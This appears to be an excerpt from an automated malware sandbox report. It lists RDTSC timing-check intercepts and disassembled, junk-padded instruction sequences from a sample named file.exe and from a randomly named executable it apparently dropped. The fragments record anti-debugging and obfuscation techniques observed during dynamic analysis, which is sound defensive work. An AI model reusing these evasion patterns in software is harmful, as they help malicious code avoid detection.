Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240644 second address: 5240648 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240648 second address: 524064E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524064E second address: 5240654 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240654 second address: 5240658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240658 second address: 5240692 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov si, bx 0x00000010 pushfd 0x00000011 jmp 00007F332CB40D11h 0x00000016 adc si, DFD6h 0x0000001b jmp 00007F332CB40D11h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240692 second address: 5240698 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240698 second address: 524069C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240797 second address: 524079E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524079E second address: 52407B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F332CB40D14h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52407B6 second address: 52407E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov al, byte ptr [edi+01h] 0x0000000b jmp 00007F332D370A57h 0x00000010 inc edi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov eax, edi 0x00000016 movsx edx, ax 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52407E2 second address: 524084B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332CB40D19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b pushad 0x0000000c movzx ecx, dx 0x0000000f pushfd 0x00000010 jmp 00007F332CB40D19h 0x00000015 add esi, 663B9EF6h 0x0000001b jmp 00007F332CB40D11h 0x00000020 popfd 0x00000021 popad 0x00000022 jne 00007F339D218F4Dh 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F332CB40D0Ah 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524084B second address: 524084F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524084F second address: 52408E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ecx, 430818D7h 0x0000000b popad 0x0000000c mov ecx, edx 0x0000000e jmp 00007F332CB40D0Ah 0x00000013 shr ecx, 02h 0x00000016 jmp 00007F332CB40D10h 0x0000001b rep movsd 0x0000001d rep movsd 0x0000001f rep movsd 0x00000021 rep movsd 0x00000023 rep movsd 0x00000025 jmp 00007F332CB40D10h 0x0000002a mov ecx, edx 0x0000002c pushad 0x0000002d mov ah, BAh 0x0000002f popad 0x00000030 and ecx, 03h 0x00000033 jmp 00007F332CB40D15h 0x00000038 rep movsb 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d mov ebx, 48CB1F9Eh 0x00000042 pushfd 0x00000043 jmp 00007F332CB40D0Fh 0x00000048 sbb esi, 7C4CAC4Eh 0x0000004e jmp 00007F332CB40D19h 0x00000053 popfd 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52408E5 second address: 52408F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F332D370A4Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52408F5 second address: 524092C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332CB40D0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-04h], FFFFFFFEh 0x00000012 pushad 0x00000013 mov dx, si 0x00000016 mov si, 0637h 0x0000001a popad 0x0000001b mov eax, ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jmp 00007F332CB40D0Fh 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524092C second address: 5240931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240931 second address: 5240964 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F332CB40D15h 0x00000009 or esi, 0124A346h 0x0000000f jmp 00007F332CB40D11h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240964 second address: 5240974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ecx, dword ptr [ebp-10h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240974 second address: 5240978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240978 second address: 524097C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524097C second address: 5240982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240982 second address: 5240988 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240988 second address: 524098C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524098C second address: 52409A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov cl, dl 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52409A1 second address: 5240A1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F332CB40D15h 0x0000000b and ax, FCB6h 0x00000010 jmp 00007F332CB40D11h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pop ecx 0x0000001a pushad 0x0000001b mov si, 2243h 0x0000001f pushfd 0x00000020 jmp 00007F332CB40D18h 0x00000025 or esi, 4E976708h 0x0000002b jmp 00007F332CB40D0Bh 0x00000030 popfd 0x00000031 popad 0x00000032 pop edi 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 jmp 00007F332CB40D0Bh 0x0000003b mov bx, cx 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240A1B second address: 5240A3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A55h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240A3B second address: 5240A3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240A3F second address: 5240A43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240A43 second address: 5240A49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240A49 second address: 5240A8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A52h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F332D370A4Eh 0x00000011 sub eax, 66045E28h 0x00000017 jmp 00007F332D370A4Bh 0x0000001c popfd 0x0000001d mov edi, eax 0x0000001f popad 0x00000020 leave 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240A8B second address: 5240AB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F332CB40D0Dh 0x0000000a xor eax, 3DDEAE46h 0x00000010 jmp 00007F332CB40D11h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240AB6 second address: 52405E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0008h 0x0000000c cmp dword ptr [ebp-2Ch], 10h 0x00000010 mov eax, dword ptr [ebp-40h] 0x00000013 jnc 00007F332D370A45h 0x00000015 push eax 0x00000016 lea edx, dword ptr [ebp-00000590h] 0x0000001c push edx 0x0000001d call esi 0x0000001f push 00000008h 0x00000021 jmp 00007F332D370A57h 0x00000026 push 29FBCA5Fh 0x0000002b jmp 00007F332D370A4Fh 0x00000030 add dword ptr [esp], 4B9D51C9h 0x00000037 pushad 0x00000038 mov di, 3A56h 0x0000003c popad 0x0000003d call 00007F339DA54463h 0x00000042 push 759227D0h 0x00000047 push dword ptr fs:[00000000h] 0x0000004e mov eax, dword ptr [esp+10h] 0x00000052 mov dword ptr [esp+10h], ebp 0x00000056 lea ebp, dword ptr [esp+10h] 0x0000005a sub esp, eax 0x0000005c push ebx 0x0000005d push esi 0x0000005e push edi 0x0000005f mov eax, dword ptr [759B0140h] 0x00000064 xor dword ptr [ebp-04h], eax 0x00000067 xor eax, ebp 0x00000069 push eax 0x0000006a mov dword ptr [ebp-18h], esp 0x0000006d push dword ptr [ebp-08h] 0x00000070 mov eax, dword ptr [ebp-04h] 0x00000073 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000007a mov dword ptr [ebp-08h], eax 0x0000007d lea eax, dword ptr [ebp-10h] 0x00000080 mov dword ptr fs:[00000000h], eax 0x00000086 ret 0x00000087 push eax 0x00000088 push edx 0x00000089 push eax 0x0000008a push edx 0x0000008b push eax 0x0000008c push edx 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240BB9 second address: 5240BBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240BBF second address: 5240BD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 50C3h 0x00000007 mov edi, ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240BD2 second address: 5240BD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240BD6 second address: 5240BDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94B35B second address: 94B378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F332CB40D14h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 93A1B0 second address: 93A1B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 93A1B7 second address: 93A1CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332CB40D11h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 93A1CE second address: 93A1D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 93A1D4 second address: 93A1D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94A280 second address: 94A289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94A6AE second address: 94A6C7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F332CB40D06h 0x00000008 jmp 00007F332CB40D0Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94A6C7 second address: 94A6DD instructions: 0x00000000 rdtsc 0x00000002 jo 00007F332D370A4Ch 0x00000008 ja 00007F332D370A46h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94AB6E second address: 94AB72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94AB72 second address: 94AB83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnp 00007F332D370A46h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94E5E8 second address: 94E61C instructions: 0x00000000 rdtsc 0x00000002 je 00007F332CB40D10h 0x00000008 jmp 00007F332CB40D0Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 push eax 0x00000011 jmp 00007F332CB40D0Ch 0x00000016 pop edx 0x00000017 push 00000000h 0x00000019 mov ecx, edi 0x0000001b call 00007F332CB40D09h 0x00000020 pushad 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94E61C second address: 94E650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F332D370A4Eh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F332D370A4Eh 0x00000014 jmp 00007F332D370A4Dh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94E650 second address: 94E660 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push edi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94E660 second address: 94E673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F332D370A46h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94E673 second address: 94E67D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94E76B second address: 94E772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94E772 second address: 94E77C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F332CB40D06h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94E895 second address: 94E89C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94E89C second address: 94E8A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94E8A3 second address: 94E8B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94E8B1 second address: 94E8B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94E8B5 second address: 94E8FD instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F332D370A46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F332D370A4Ch 0x00000010 popad 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push ebx 0x00000016 push ebx 0x00000017 push edi 0x00000018 pop edi 0x00000019 pop ebx 0x0000001a pop ebx 0x0000001b pop eax 0x0000001c pushad 0x0000001d cld 0x0000001e mov edi, dword ptr [ebp+122D38C7h] 0x00000024 popad 0x00000025 mov ecx, 097BE827h 0x0000002a lea ebx, dword ptr [ebp+124634E5h] 0x00000030 mov dword ptr [ebp+122D22A6h], eax 0x00000036 cmc 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a push edi 0x0000003b je 00007F332D370A46h 0x00000041 pop edi 0x00000042 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94E950 second address: 94E9E1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F332CB40D08h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 push ebx 0x00000026 mov di, ABF5h 0x0000002a pop edx 0x0000002b push 00000000h 0x0000002d xor edx, dword ptr [ebp+122D363Bh] 0x00000033 call 00007F332CB40D09h 0x00000038 jmp 00007F332CB40D16h 0x0000003d push eax 0x0000003e pushad 0x0000003f jmp 00007F332CB40D13h 0x00000044 jnl 00007F332CB40D08h 0x0000004a popad 0x0000004b mov eax, dword ptr [esp+04h] 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F332CB40D14h 0x00000056 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94E9E1 second address: 94E9EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F332D370A46h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94E9EB second address: 94EA10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jns 00007F332CB40D0Eh 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 jns 00007F332CB40D06h 0x0000001d rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94EA10 second address: 94EA65 instructions: 0x00000000 rdtsc 0x00000002 js 00007F332D370A46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b pop eax 0x0000000c movzx edx, cx 0x0000000f push 00000003h 0x00000011 add ecx, dword ptr [ebp+122D1CD4h] 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edx 0x0000001c call 00007F332D370A48h 0x00000021 pop edx 0x00000022 mov dword ptr [esp+04h], edx 0x00000026 add dword ptr [esp+04h], 00000015h 0x0000002e inc edx 0x0000002f push edx 0x00000030 ret 0x00000031 pop edx 0x00000032 ret 0x00000033 push 00000003h 0x00000035 mov ecx, dword ptr [ebp+122D384Fh] 0x0000003b call 00007F332D370A49h 0x00000040 push eax 0x00000041 push edx 0x00000042 jne 00007F332D370A4Ch 0x00000048 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94EA65 second address: 94EA75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94EA75 second address: 94EA7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94EA7A second address: 94EACB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332CB40D0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F332CB40D12h 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007F332CB40D19h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jo 00007F332CB40D08h 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 94EACB second address: 94EAD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F332D370A46h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96F028 second address: 96F03C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F332CB40D10h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96F03C second address: 96F040 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96F040 second address: 96F04D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 931A39 second address: 931A52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F332D370A4Ch 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 931A52 second address: 931A7A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F332CB40D06h 0x00000008 jmp 00007F332CB40D0Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 ja 00007F332CB40D06h 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jng 00007F332CB40D06h 0x0000001f rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96CF32 second address: 96CF47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A50h 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96CF47 second address: 96CF60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F332CB40D0Fh 0x0000000f rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96D4C7 second address: 96D4D7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F332D370A46h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
